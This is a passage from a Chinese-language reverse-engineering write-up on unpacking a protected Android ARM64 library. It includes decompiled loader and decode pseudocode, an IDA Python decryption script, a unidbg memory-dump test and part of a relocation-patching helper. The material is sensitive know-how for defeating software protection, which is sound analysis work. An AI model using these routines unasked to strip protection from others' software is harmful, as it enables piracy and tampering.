    D --> E --> G
    D --> F --> G
    D -->|无解码标志| G
    G --> H --> I

RuntimeMalloc、RuntimeFree、RuntimeMemcpy 等名称对应 API 表里的 libc 函数;AcquireFlag4String/AcquireFlag8String/AcquireFlag10String 只是按控制它们的 flag 命名,具体业务语义仍未确认。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
// load2_load_packed_segments @ 0x54C944
uint32_t load2_load_packed_segments(
elf_parse_ctx_t *ctx,
loader_meta_t *meta,
uint8_t *image_base
) {
uint32_t flags = meta->flags;
uint32_t packed_size = meta->packed_size;
uint32_t meta_block_size = meta->meta_block_size;

ctx->image_header = image_base + meta->image_header_off;
ctx->phnum = meta->phnum;
ctx->dynsym_seed0 = meta->dynsym_seed0;

const uint8_t *meta_block_src = (const uint8_t *)meta + meta->meta_block_off;
uint8_t *meta_block_dst = RuntimeMalloc(meta_block_size);
PrepareResourceState(meta->resource_flags);

uint64_t payload_off = sizeof(Elf64_Ehdr) +
image_ehdr(image_base)->e_phnum * sizeof(Elf64_Phdr);
uint8_t *packed_src = image_base + payload_off;
uint64_t *trailer = (uint64_t *)align_up(
(uintptr_t)packed_src + packed_size,
8
);

uint8_t *packed_dst = packed_src;
if ((flags & 0x01) != 0) {
packed_dst = RuntimeMalloc(packed_size);
ctx->owns_packed_buffer = true;
}

// X23 = align_up(packed_src + packed_size, 8)。
// 当前样本 X23 = 0x506470,且 *(uint64_t *)X23 == 0。
uint64_t descriptor_rel = *(uint64_t *)trailer;
const char *descriptor = descriptor_rel != 0
? (const char *)trailer + descriptor_rel
: NULL;

ReleaseOldDescriptorCache(ctx);
if (descriptor != NULL) {
ctx->descriptor_len = RuntimeStrlen(descriptor);
ctx->descriptor_copy = RuntimeMalloc(ctx->descriptor_len + 1);
RuntimeMemcpy(ctx->descriptor_copy, descriptor, ctx->descriptor_len + 1);
}

// X21/X26/X28 是三个受 flags bit2/bit3/bit4 控制的可选字符串。
// 当前 flags=3,三个分支均不执行,因此三者静态结果都为 NULL。
const char *key_source_bit2 = NULL; // X21
const char *key_source_bit3 = NULL; // X26
const char *key_source_bit4 = NULL; // X28

if ((flags & 0x04) != 0) {
key_source_bit2 = AcquireFlag4String();
if (!ValidateFlag4String(key_source_bit2)) {
key_source_bit2 = NULL;
}
}

if ((flags & 0x08) != 0) {
key_source_bit3 = AcquireFlag8String();
}

if ((flags & 0x10) != 0) {
key_source_bit4 = AcquireFlag10String(ctx->descriptor_copy);
if (!ValidateFlag10String(key_source_bit4)) {
key_source_bit4 = NULL;
}
}

size_t ext_key_len =
SafeStrlen(key_source_bit2) +
SafeStrlen(key_source_bit3) +
SafeStrlen(key_source_bit4);

if (RuntimeFallbackKeyEnabled()) {
ext_key = RuntimeMalloc(11);
RuntimeMemset(ext_key, 0, 11);
RuntimeMemset(ext_key, 0x5C, 8);
} else if (ext_key_len != 0) {
ext_key = RuntimeMalloc(ext_key_len + 1);
RuntimeMemset(ext_key, 0, ext_key_len + 1);
AppendString(ext_key, key_source_bit2);
AppendString(ext_key, key_source_bit3);
AppendString(ext_key, key_source_bit4);
}

// meta+0x48 指向的数据块始终先通过 core_decode。
// 这是 load3 的第一个 decode callsite,不受主 packed payload 的 bit1/bit5 分流控制。
if (core_decode_dispatcher(
meta_block_src,
meta_block_size,
meta_block_dst,
meta_block_size,
-1,
-1,
ext_key
) != meta_block_size) {
RuntimeFree(ext_key);
return 0;
}

ctx->decoded_meta_block = meta_block_dst;
ctx->decoded_meta_block_size = meta_block_size;

if ((flags & 0x01) != 0) {
// 独立目标缓冲路径:packed_src -> packed_dst。
if ((flags & 0x20) != 0) {
xor_decode_fixed_key_blocks(
packed_dst,
packed_src,
packed_size
);
} else if ((flags & 0x02) != 0) {
if (NeedsSplitSourceRebuild(meta, payload_off, packed_size)) {
uint8_t *joined_src = RuntimeMalloc(packed_size);
uint32_t joined_len = RebuildSplitSource(
joined_src,
image_base,
meta,
payload_off,
packed_size
);

core_decode_dispatcher(
joined_src,
joined_len,
packed_dst,
packed_size,
-1,
-1,
ext_key
);
RuntimeFree(joined_src);
} else {
core_decode_dispatcher(
packed_src,
packed_size,
packed_dst,
packed_size,
meta->gate_beg,
meta->gate_end,
ext_key
);
}
} else {
// 未设置解码标志,不保留刚分配的目标,直接使用原始 packed 段。
RuntimeFree(packed_dst);
packed_dst = packed_src;
ctx->owns_packed_buffer = false;
}

// packed payload 前 8 字节是后续解压/加载需要的头字段。
uint32_t unpacked_size = *(uint32_t *)(packed_dst + 0x00);
uint32_t compressed_size = *(uint32_t *)(packed_dst + 0x04);
uint64_t adjusted_size = unpacked_size;

ctx->decompressed_buffer = AllocatePayloadOutput(meta, unpacked_size);
CalcPayloadSeed(packed_dst + 8, compressed_size);

if (zlib_uncompress2_wrapper(
ctx->decompressed_buffer,
&adjusted_size,
packed_dst + 8,
compressed_size
) != 0) {
RuntimeFree(ctx->decompressed_buffer);
RuntimeFree(packed_dst);
RuntimeFree(ext_key);
return 0;
}

RuntimeFree(packed_dst);
ctx->loaded_image_size = AdjustOutputSize(meta, adjusted_size);
} else {
// 原映射路径:先将覆盖范围改为 RWX,再原地处理 packed_src。
RuntimeMprotect(
image_base,
PageAlign(payload_off + packed_size),
RuntimeExecMapFlags() | PROT_READ | PROT_WRITE
);

if ((flags & 0x20) != 0) {
xor_decode_fixed_key_blocks(
packed_src,
packed_src,
packed_size
);
} else if ((flags & 0x02) != 0) {
core_decode_dispatcher(
packed_src,
packed_size,
packed_src,
packed_size,
meta->gate_beg,
meta->gate_end,
ext_key
);
}

ctx->parsed_dynstr = (const char *)image_base;
ctx->loaded_image_size = packed_size;
}

// 解码完成后,按恢复出的 image base 回填 ELF 运行时视图。
uint8_t *loaded_base = ctx->loaded_base;
ctx->parsed_dynsym = loaded_base + meta->dynsym_off;
ctx->load_bias = loaded_base + meta->load_bias_off;
ctx->rela = loaded_base + meta->rela_off;
ctx->jmprel = loaded_base + meta->jmprel_off;
ctx->rela_count = meta->rela_size / sizeof(Elf64_Rela);

if (meta->android_reloc_off != 0) {
ctx->android_reloc = loaded_base + meta->android_reloc_off;
}

if (meta->dynamic_off == 0) {
RuntimeFree(ext_key);
return 0;
}

ctx->dynamic = loaded_base + meta->dynamic_off;
elf_compute_load_bias(ctx);
ctx->image_base = ctx->image_end;
ctx->sym_index_begin = meta->sym_index_begin;
ctx->sym_index_end = meta->sym_index_end;
ctx->dynsym_seed3 = meta->dynsym_seed3;

Elf64_Dyn *dynamic = FindFirstDynamicTag(trailer, 1);
FinalizeLoadedImage(ctx, trailer, dynamic);

RuntimeFree(ext_key);
return 1;
}

该样本将会执行两次 core_decode 而不执行 xor_decode_fixed_key_blocks

调用点 输入范围 解密内容 解密后的用途
0x54CB7C 0x63C020 开始,长度 0x6CC18 壳放在 loader_meta 后方的 ELF 链接信息块 结果保存到 ctx+0x90;后续以它为基址计算 .dynsym、.dynamic、RELA、JMPREL 和 Android relocation 地址
0x54CFE8 image_base+0x190 开始,长度 0x5062E0 主 packed payload,即压缩的最终代码/数据镜像外层 结果前 8 字节给出解压长度,packed_dst+8 再送入解压函数生成最终内存镜像

core_decode 伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
// core_decode @ 0x54B7EC
uint32_t core_decode(
uint8_t *src_ptr, // X0
int src_copy_len, // W1
uint8_t *decode_buf, // X2
uint32_t decode_len, // W3
int gate_beg, // W4
int gate_end, // W5
uint8_t *ext_key // X6
) {
uint8_t head_mask[0x40];
uint8_t saved_0x80[0x80];

if (src_ptr == NULL) return 0; // 0x54B808
if (src_copy_len <= 0x3F) return 0; // 0x54B80C..0x54B814

memcpy(decode_buf, src_ptr, src_copy_len); // 0x54B840..0x54B844
if (decode_len <= 0x3F) return 0; // 0x54B848..0x54B850

uint32_t seed_input[5];
seed_input[0] = *(uint32_t *)(decode_buf + 0x0C);
seed_input[1] = *(uint32_t *)(decode_buf + 0x04);
seed_input[2] = *(uint32_t *)(decode_buf + 0x30);
seed_input[3] = decode_len;
seed_input[4] = *(uint32_t *)(decode_buf + 0x08);

uint32_t seed_main = CalcPayloadSeed(seed_input, 0x14); // 0x54B8A8

memset(head_mask, 0xD7, 0x40); // 0x54B8AC..0x54B8C0
BuildHeadMask(ext_key, head_mask); // 0x54B8C4..0x54B8CC

uint32_t body_len = decode_len - 0x40;

if (body_len <= 0x7F) { // 0x54B8D4..0x54B8D8
Rc4VariantXor(decode_buf + 0x40, body_len, seed_main);

for (int i = 0; i < 0x40; ++i) {
decode_buf[i] ^= head_mask[i];
}

return decode_len;
}

memcpy(saved_0x80, decode_buf + 0x40, 0x80); // 0x54B960..0x54B978
Rc4VariantXor(decode_buf + 0x40, 0x80, seed_main);

uint32_t k0 = (seed_main ^ *(uint32_t *)(decode_buf + 0x34)) + 8217;
uint32_t k1 = (seed_main ^ *(uint32_t *)(decode_buf + 0x3C)) + 6502;
uint32_t k2 = (seed_main ^ decode_len) + 8213;
uint32_t k3 = (seed_main ^ *(uint32_t *)(decode_buf + 0x38)) + 6534;
uint32_t key4[4] = { k0, k1, k2, k3 };

for (int i = 0; i < 0x40; ++i) { // 0x54B9E4..0x54BA3C
decode_buf[i] ^= head_mask[i];
}

Rc4VariantXor(saved_0x80, 0x80, k2); // 0x54BA40

uint32_t sched[9] = {
21605, k3, 17477, 1383, k0, k1, 309, k2, 26740
};

uint32_t *saved32 = (uint32_t *)saved_0x80;
uint32_t block_count = (decode_len - 0xC0) >> 7;

if (block_count != 0) { // 0x54BA8C
int quarter = block_count >> 2; // 0x54BA90
int range1_beg = quarter;
int range1_end = quarter * 2;
int range0_beg = quarter * 2;
int range0_end = quarter * 3;
int range3_beg = quarter * 3;

uint8_t *block = decode_buf + 0xC0;
int block_pos = 0x120; // 注意:gate 比较用 0x120 起步

for (uint32_t block_index = 0;
block_index < block_count;
++block_index, block += 0x80, block_pos += 0x80) {

// 0x54BAF4..0x54BB0C:gate 判断直接内联在 core_decode 里
if (!(block_pos < gate_beg ||
gate_beg <= 0x7F ||
(gate_end != -1 && block_pos >= gate_end))) {
continue;
}

uint32_t *block32 = (uint32_t *)block;
uint32_t mode = sched[block_index % 9] & 3; // 0x54BB10..0x54BB24

switch (mode) { // 0x54BB28..0x54BB3C
default:
// mode 0/default: 0x54BB40 / 0x54BB58..0x54BB80
if (block_index >= range0_beg && block_index <= range0_end) {
// 0x54BDC4..0x54BE24
for (int i = 0; i < 0x80; ++i) {
block[i] ^= 0xB2;
}
} else {
for (int i = 0; i < 32; ++i) {
uint32_t x = saved32[i];
block32[i] ^= x ^ key4[x & 3];
}
}
break;

case 1:
// mode 1: loc_54BC70 / 0x54BC84..0x54BCCC
if (block_index >= range1_beg && block_index <= range1_end) {
// 0x54BE28..0x54BE88
for (int i = 0; i < 0x80; ++i) {
block[i] ^= 0xA1;
}
} else {
for (int i = 0; i < 32; ++i) {
uint32_t counter = 32 - i;
uint32_t rotating = sched[i % 9];
block32[i] ^= saved32[i] ^ counter ^ rotating;
}
}
break;

case 2:
// mode 2: loc_54BD10 / 0x54BD10..0x54BD5C
for (int i = 0; i < 32; ++i) {
uint32_t rolling = key4[sched[i % 9] & 3];
block32[i] ^= saved32[i] ^ i ^ rolling;
}
break;

case 3:
// mode 3: loc_54BCD0 / 0x54BCDC..0x54BD0C
if (block_index >= range3_beg) {
// 0x54BD60..0x54BDC0
for (int i = 0; i < 0x80; ++i) {
block[i] ^= 0xC3;
}
} else {
for (int i = 0; i < 32; ++i) {
uint32_t x = saved32[i];
block32[i] ^= x ^ i ^ key4[x & 3];
}
}
break;
}
}
}

uint32_t tail = (decode_len + 0x40) & 0x7F; // 0x54BBB4..0x54BBBC
if (tail == 0) {
return decode_len;
}

uint32_t tail_pos = decode_len - tail;

for (uint32_t i = 0; i < tail; ++i) { // 0x54BBD4..0x54BC64
uint32_t pos = tail_pos + i;

if (gate_beg > (int)pos ||
gate_beg <= 0x7F ||
(gate_end != -1 && gate_end <= (int)pos)) {
uint32_t v = sched[key4[i & 3] % 9];
decode_buf[pos] ^= (v + v / 0xFF) ^ saved_0x80[i] ^ i;
}
}

return decode_len;
}

zlib_uncompress2_wrapper

sub_557170 @ 0x557170 是壳内置 zlib 的一次性解压包装器,参数语义与 uncompress2() 基本一致:

1
2
3
4
5
6
int zlib_uncompress2_wrapper(
void *dst,
uint64_t *dst_len,
const void *src,
uint64_t src_len
);

解压后需要按 PT_LOAD 分段映射

zlib 解压后的 main_payload 输出长度为 0x530268

以下 Elf64_Phdr 来自于第一次 core_decode 解出的 metadata 开头

metadata 开头连续保存 6 个 Elf64_Phdr;筛选 p_type == PT_LOAD 后得到:

p_offset p_vaddr p_filesz p_memsz
0x0 0x0 0x5062E0 0x5062E0
0x5062E0 0x50A2E0 0x29CF0 0x29D20
0x52FFD0 0x537FD0 0x298 0xBAE0

完整运行时映射为:

1
2
3
main_payload[0x000000:0x5062E0] -> VA 0x000000
main_payload[0x5062E0:0x52FFD0] -> VA 0x50A2E0
main_payload[0x52FFD0:0x530268] -> VA 0x537FD0

第二段的 p_memsz - p_filesz = 0x30,第三段为 0xB848;这两块段尾内存必须清零。

当前 IDB 的 VA 0..0x18F 已经保存原始 ELF header 和 Program Header Table,为了避免静态 patch 时覆盖这些结构,可以仅对首段执行:

1
main_payload[0x190:0x5062E0] -> VA 0x190

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
"""Decode and patch the packed ELF for the current flags=3 sample."""

import struct
import zlib

import ida_bytes
import ida_kernwin

MAIN_VA = 0x190
MAIN_SIZE = 0x5062E0
META_VA = 0x63C020
META_SIZE = 0x6CC18
PHNUM = 6
PHENTSIZE = 0x38
PT_LOAD = 1

def u32(data: bytes | bytearray, offset: int) -> int:
return struct.unpack_from("<I", data, offset)[0]

def put_u32(data: bytearray, offset: int, value: int) -> None:
struct.pack_into("<I", data, offset, value & 0xFFFFFFFF)

def calc_payload_seed(data: bytes) -> int:
table = []
polynomial = 0x53B20C96
for index in range(256):
value = index
for _ in range(8):
value = ((value >> 1) ^ polynomial) if value & 1 else value >> 1
value &= 0xFFFFFFFF
table.append(value)

current = 0xFFFFFFFF
for value in data:
current = table[(value ^ (current & 0xFF)) & 0xFF] ^ (current >> 8)
current = (current + 16) & 0xFFFFFFFF
return (-current - 516327184) & 0xFFFFFFFF

def rc4_variant_xor(data: bytearray, key_u32: int) -> None:
state = list(range(256))
key = struct.pack("<I", key_u32 & 0xFFFFFFFF)
state_index = 0
for index in range(256):
old_value = state[index]
state_index = (key[index & 3] + old_value + state_index) & 0xFF
state[index] = state[state_index]
state[state_index] = old_value

index = 0
state_index = 0
for position in range(len(data)):
index = (index + 1) & 0xFF
old_value = state[index]
state_index = (old_value + state_index) & 0xFF
state[index] = state[state_index]
state[state_index] = old_value
stream_value = state[(old_value + state[index]) & 0xFF]
mask = (((stream_value >> 2) | (stream_value << 6)) + 0x3A) & 0xFF
data[position] ^= mask

def core_decode(src: bytes) -> bytearray:
decode_len = len(src)
output = bytearray(src)
seed_input = struct.pack(
"<IIIII",
u32(output, 0x0C),
u32(output, 0x04),
u32(output, 0x30),
decode_len,
u32(output, 0x08),
)
seed_main = calc_payload_seed(seed_input)
head_mask = bytes([0xD7]) * 0x40
body_length = decode_len - 0x40

if body_length <= 0x7F:
body = bytearray(output[0x40:decode_len])
rc4_variant_xor(body, seed_main)
output[0x40:decode_len] = body
for index in range(0x40):
output[index] ^= head_mask[index]
return output

saved_block = bytearray(output[0x40:0xC0])
first_block = bytearray(saved_block)
rc4_variant_xor(first_block, seed_main)
output[0x40:0xC0] = first_block

key0 = ((seed_main ^ u32(output, 0x34)) + 8217) & 0xFFFFFFFF
key2 = ((seed_main ^ decode_len) + 8213) & 0xFFFFFFFF
key1 = ((seed_main ^ u32(output, 0x3C)) + 6502) & 0xFFFFFFFF
key3 = ((seed_main ^ u32(output, 0x38)) + 6534) & 0xFFFFFFFF
key4 = [key0, key1, key2, key3]

for index in range(0x40):
output[index] ^= head_mask[index]
rc4_variant_xor(saved_block, key2)

block_count = (decode_len - 0xC0) >> 7
range1_begin = (decode_len - 0xC0) >> 9
range1_end = range1_begin << 1
range3_begin = range1_end + range1_begin
schedule = [21605, key3, 17477, 1383, key0, key1, 309, key2, 26740]
saved_words = [u32(saved_block, index * 4) for index in range(32)]

for block_index in range(block_count):
block_offset = 0xC0 + block_index * 0x80
words = [u32(output, block_offset + index * 4) for index in range(32)]
mode = schedule[block_index % 9] & 3
if mode == 0:
if range1_end <= block_index <= range3_begin:
words = [word ^ 0xB2 for word in words]
else:
words = [word ^ saved_words[i] ^ key4[saved_words[i] & 3] for i, word in enumerate(words)]
elif mode == 1:
if range1_begin <= block_index <= range1_end:
words = [word ^ 0xA1 for word in words]
else:
words = [word ^ saved_words[i] ^ (32 - i) ^ schedule[i % 9] for i, word in enumerate(words)]
elif mode == 2:
words = [word ^ saved_words[i] ^ i ^ key4[schedule[i % 9] & 3] for i, word in enumerate(words)]
else:
if block_index >= range3_begin:
words = [word ^ 0xC3 for word in words]
else:
words = [word ^ saved_words[i] ^ i ^ key4[saved_words[i] & 3] for i, word in enumerate(words)]

for index, word in enumerate(words):
put_u32(output, block_offset + index * 4, word)

tail_length = (decode_len + 0x40) & 0x7F
if tail_length:
tail_offset = decode_len - tail_length
for index in range(tail_length):
position = tail_offset + index
schedule_value = schedule[key4[index & 3] % 9]
output[position] ^= ((schedule_value % 0xFF) ^ saved_block[index] ^ index) & 0xFF
return output

def parse_load_segments(decoded_meta: bytes):
for index in range(PHNUM):
phdr = struct.unpack_from("<IIQQQQQQ", decoded_meta, index * PHENTSIZE)
p_type, _, p_offset, p_vaddr, _, p_filesz, p_memsz, _ = phdr
if p_type == PT_LOAD:
yield p_offset, p_vaddr, p_filesz, p_memsz

def patch_load_segments(final_image: bytes, decoded_meta: bytes) -> None:
for p_offset, p_vaddr, p_filesz, p_memsz in parse_load_segments(decoded_meta):
skip = 0x190 if p_offset == 0 else 0
source_begin = p_offset + skip
source_end = p_offset + p_filesz
ida_bytes.patch_bytes(
p_vaddr + skip,
final_image[source_begin:source_end],
)
if p_memsz > p_filesz:
ida_bytes.patch_bytes(
p_vaddr + p_filesz,
bytes(p_memsz - p_filesz),
)
print(
f"PT_LOAD final[0x{source_begin:X}:0x{source_end:X}] "
f"-> VA 0x{p_vaddr + skip:X}"
)

def main() -> None:
decoded_meta = core_decode(ida_bytes.get_bytes(META_VA, META_SIZE))
decoded_main = core_decode(ida_bytes.get_bytes(MAIN_VA, MAIN_SIZE))

unpacked_size, compressed_size = struct.unpack_from("<II", decoded_main)
final_image = zlib.decompress(decoded_main[8:8 + compressed_size])
assert len(final_image) == unpacked_size

# The first six decoded metadata records are Elf64_Phdr entries.
patch_load_segments(final_image, decoded_meta)
ida_kernwin.refresh_idaview_anyway()
print(f"unpacked 0x{len(final_image):X} bytes")

if __name__ == "__main__":
main()

unidbg

编写 test 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package com.github.unidbg.zmcore;

import com.github.unidbg.AndroidEmulator;
import com.github.unidbg.Module;
import com.github.unidbg.Symbol;
import com.github.unidbg.arm.backend.Unicorn2Factory;
import com.github.unidbg.linux.android.AndroidEmulatorBuilder;
import com.github.unidbg.linux.android.AndroidResolver;
import com.github.unidbg.linux.android.dvm.DalvikModule;
import com.github.unidbg.linux.android.dvm.VM;
import com.github.unidbg.memory.Memory;
import junit.framework.TestCase;

import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class ZMCoreInitDumpTest extends TestCase {

private AndroidEmulator emulator;

public void testInitArrayAndRebuildSo() throws Exception {
Path workspace = Paths.get(System.getProperty("zmcore.workspace")).toAbsolutePath().normalize();
File library = workspace.resolve("libZMCoreUnZip.so").toFile();
Path output = workspace.resolve("unidbg-dump/libZMCoreUnZip.init-rebuilt.so");
Files.createDirectories(output.getParent());

emulator = AndroidEmulatorBuilder.for64Bit()
.setProcessName("com.fileunzip.zxwknight")
.addBackendFactory(new Unicorn2Factory(true))
.build();
Memory memory = emulator.getMemory();
memory.setLibraryResolver(new AndroidResolver(23));
VM vm = emulator.createDalvikVM();

// forceCallInit=true: execute DT_INIT/DT_INIT_ARRAY before rebuilding the file.
DalvikModule dalvikModule = vm.loadLibrary(library, true);
Module module = dalvikModule.getModule();
rebuildLoadSegments(library.toPath(), output, module);
}

// 以原始 ELF 为文件结构模板,用 init_array 执行后的运行时内存重建各个 PT_LOAD 段
private void rebuildLoadSegments(Path input, Path output, Module module) throws IOException {
byte[] original = Files.readAllBytes(input);
byte[] rebuilt = original.clone();

ByteBuffer elf = ByteBuffer.wrap(original).order(ByteOrder.LITTLE_ENDIAN);
long phoff = elf.getLong(0x20); // Elf64_Ehdr.e_phoff
int phentsize = Short.toUnsignedInt(elf.getShort(0x36)); // Elf64_Ehdr.e_phentsize
int phnum = Short.toUnsignedInt(elf.getShort(0x38)); // Elf64_Ehdr.e_phnum

// 将解密后的内存段写回原始 ELF 文件的对应位置
for (int index = 0; index < phnum; index++) {
int phdr = Math.toIntExact(phoff + (long) index * phentsize);
if (elf.getInt(phdr) != 1) { // PT_LOAD
continue;
}
long fileOffset = elf.getLong(phdr + 0x08); // Elf64_Phdr.p_offset
long virtualAddress = elf.getLong(phdr + 0x10); // Elf64_Phdr.p_vaddr
long fileSize = elf.getLong(phdr + 0x20); // Elf64_Phdr.p_filesz
byte[] segment = emulator.getBackend().mem_read(module.base + virtualAddress, fileSize);
System.arraycopy(segment, 0, rebuilt, Math.toIntExact(fileOffset), segment.length);
}

// 运行时内存可能覆盖 ELF Header,最终恢复原 SO 的前 0x190 字节
System.arraycopy(original, 0, rebuilt, 0, 0x190);

Files.write(output, rebuilt);
System.out.println("rebuilt SO: " + output);
}

@Override
protected void tearDown() throws IOException {
if (emulator != null) {
emulator.close();
}
}
}

将原来的前 0x190 字节复制到 dump 的即可分析

其他

其实还应该解密 elf 最后的 .data 段用于实现 GOT、LPT 定位的,但是比较麻烦就先不做了(分配到动态内存中了),而上述静态分析方法可以直接解密(或者这里结合一下静态的脚本解密一下也可以),下面给出一个工具脚本,用于 patch GOT,当然不使用也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
import json
import struct
from pathlib import Path

import ida_bytes
import ida_name
import ida_nalt
import ida_segment

DYNSYM_START = 0x63C170
DYNSTR_START = 0x5BA5E8
RELA_START = 0x63CE90
RELA_END = 0x6A8B78

ELF64_SYM_SIZE = 0x18
ELF64_RELA_SIZE = 0x18

R_AARCH64_ABS64 = 1025
R_AARCH64_JUMP_SLOT = 1026
R_AARCH64_RELATIVE = 1027

VALID_RELOCATION_TYPES = {R_AARCH64_ABS64, R_AARCH64_JUMP_SLOT, R_AARCH64_RELATIVE}
MAX_SYMBOL_COUNT = 0x1000
MAX_RELOCATION_OFFSET = 0x700000

RELOCATION_NAMES = {
R_AARCH64_ABS64: "R_AARCH64_ABS64",
R_AARCH64_JUMP_SLOT: "R_AARCH64_JUMP_SLOT",
R_AARCH64_RELATIVE: "R_AARCH64_RELATIVE",
}

def read_bytes(address, size):
data = ida_bytes.get_bytes(address, size)
if data is None or len(data) != size:
raise RuntimeError(f"无法读取 IDA 地址 0x{address:X} 的 0x{size:X} 字节")
return data

def read_c_string(address):
data = ida_bytes.get_strlit_contents(address, -1, 0)
if data is None:
return ""
return data.decode("utf-8", errors="replace")

def parse_symbol(index):
address = DYNSYM_START + index * ELF64_SYM_SIZE
st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack(
"<IBBHQQ", read_bytes(address, ELF64_SYM_SIZE)
)
return {
"index": index,
"address": address,
"name_offset": st_name,
"name": read_c_string(DYNSTR_START + st_name) if st_name else "",
"info": st_info,
"other": st_other,
"section_index": st_shndx,
"value": st_value,
"size": st_size,
}

def validate_decrypted_tables():
symbol_zero = read_bytes(DYNSYM_START, ELF64_SYM_SIZE)
if symbol_zero != b"\x00" * ELF64_SYM_SIZE:
raise RuntimeError(
"0x63C170 处不是有效的 Elf64_Sym[0],动态符号表可能尚未解密;"
"请先完成 private relocation 解密"
)

first_relocation = struct.unpack("<QQq", read_bytes(RELA_START, ELF64_RELA_SIZE))
first_type = first_relocation[1] & 0xFFFFFFFF
first_symbol = first_relocation[1] >> 32
if (
first_type not in VALID_RELOCATION_TYPES
or first_symbol >= MAX_SYMBOL_COUNT
or first_relocation[0] >= MAX_RELOCATION_OFFSET
):
raise RuntimeError(
"0x63CE90 处不是有效的 Elf64_Rela;请确认 IDA 中的地址是否正确,"
"并确保已经加载解密后的 unidbg dump 文件"
)

def parse_relocations():
validate_decrypted_tables()
count = (RELA_END - RELA_START) // ELF64_RELA_SIZE
raw_relocations = []
maximum_symbol_index = 0

for index in range(count):
address = RELA_START + index * ELF64_RELA_SIZE
offset, info, addend = struct.unpack(
"<QQq", read_bytes(address, ELF64_RELA_SIZE)
)
symbol_index = info >> 32
relocation_type = info & 0xFFFFFFFF
if relocation_type not in VALID_RELOCATION_TYPES:
raise RuntimeError(
f"重定位项 #{index} @ 0x{address:X} 类型无效: {relocation_type}"
)
if symbol_index >= MAX_SYMBOL_COUNT:
raise RuntimeError(
f"重定位项 #{index} @ 0x{address:X} 符号索引越界: {symbol_index}"
)
if offset >= MAX_RELOCATION_OFFSET:
raise RuntimeError(
f"重定位项 #{index} @ 0x{address:X} 偏移地址越界: 0x{offset:X}"
)

maximum_symbol_index = max(maximum_symbol_index, symbol_index)
raw_relocations.append(
{
"index": index,
"address": address,
"offset": offset,
"info": info,
"symbol_index": symbol_index,
"type": relocation_type,
"type_name": RELOCATION_NAMES.get(
relocation_type, f"UNKNOWN_{relocation_type}"
),
"addend": addend,
}
)

symbols = [parse_symbol(index) for index in range(maximum_symbol_index + 1)]

for relocation in raw_relocations:
symbol_index = relocation["symbol_index"]
symbol = symbols[symbol_index] if symbol_index < len(symbols) else None
relocation["symbol_name"] = symbol["name"] if symbol else ""
relocation["symbol_value"] = symbol["value"] if symbol else 0

if relocation["type"] == R_AARCH64_RELATIVE:
relocation["resolved_value"] = relocation["addend"]
elif relocation["type"] == R_AARCH64_ABS64 and symbol:
relocation["resolved_value"] = symbol["value"] + relocation["addend"]
else:
